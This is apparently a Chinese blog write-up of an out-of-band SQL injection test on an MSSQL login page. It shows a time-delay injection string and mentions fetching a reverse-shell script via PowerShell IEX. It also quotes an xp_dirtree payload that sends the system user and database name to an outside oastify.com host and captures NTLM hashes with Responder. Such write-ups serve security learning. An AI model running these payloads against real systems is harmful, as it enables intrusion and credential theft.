背景介绍
众所周知,SQL注入是一种将恶意SQL代码插入到输入字段从而操纵或利用Web应用程序背后数据库的攻击。
SQL注入可以导致未经授权的查看、破坏或删除数据,甚至在某些情况下,可以使攻击者能够对主机进行控制。
OOB SQL注入基础知识
OOB SQL注入,全称“Out-Of-Band SQLi”,中文译作“带外查询SQL注入”,传统的SQL注入攻击直接在同一通道(如网页)中检索数据,但是OOB SQL注入则更狡猾,它通常绕过传统防御并通过不同的路线发送数据,OOB SQL注入很容易被忽视。
MSSQL
MSSQL不仅仅是一个数据库,它也是一座堡垒,就像每座堡垒都有自己的秘密通道一样,MSSQL也不例外,存储过程有时就是那扇隐藏的门。
xp_cmdshell:它可以被称为MSSQL的‘精灵’,可以通过它来执行系统命令,从而实现你的“愿望”,默认情况下,它是被禁用的,但是某些情况下会被开启。
Getting a shell: 它告诉系统从特定的位置(http://ip:port) 获取PowerShell脚本(rev.ps1)。IEX Powershells Invoke-Expression cmdlet 在本地计算机上运行命令或表达式。
虽然有很多程序可以促进数据泄露,但本文将针对一种特定的方法详细介绍如何利用MSSQL中的xp_dirtree
的存储过程成功检索NTLM哈希值。
PS:NTLM 哈希,在Windows中,密码Hash被称为NTLM Hash。
开启深度挖掘
在当今的网络安全时代,在登录页面上偶然发现SQL注入漏洞就好比在新建的城市中挖掘出古代文物一样,然而,SQL注入漏洞有时就隐藏在众目睽睽之下。
某个应用程序有着‘时尚’的登录页面,很多人会认为它难以渗透,但它的“用户名”参数却悄悄的隐藏着一个旧漏洞,通过精心设计的SQL查询,shubham' WAITFOR DELAY '0:0:5'--
然后附上随机密码,成功执行了SQL命令。
Brupsuite 请求:
借助sqlmap工具,进行再次确认时,发现sqlmap将漏洞标记为误报,所以有时候手动测试和直觉仍然是不可替代的:
深入研究存储过程
通过精心构建的Payload,尝试提取更有价值的数据,于是利用xp_dirtree
成功显示了系统用户和数据库名称。
Payload中声明了两个变量@a
和@b
,他们都可以容纳最多1024个字符的字符串,system_user
函数用于检索SQL Server 中当前用户的名称,该名称存储在@a
变量中。 EXEC('master..xp_dirtree...')
这部分执行xp_dirtree
存储过程,此过程用于列出目录文件,然而在这种情况下,\\"\\\\' + @a + '.' + @b + '2svs731t2s6bhy1r9pghilk9n0trhl5a.oastify.com\test$"
将使用之前获取的系统的用户和数据库名称构造了一个UNC路径,而UNC路径指向oastify.com域,这表示尝试启动到该域的SMB连接,如果服务器尝试对提供的域进行身份验证,就会尝试获取NTLM 哈希值。
收到collab server响应:
部署Responder工具,尝试获取更加丰富的数据:
再次利用xp_dirtree
,尝试获取目标NTLM哈希值:
bingo~成功收获NTLM哈希值:
至于如何利用这些哈希值,那就是另外的故事了~你学废了吗?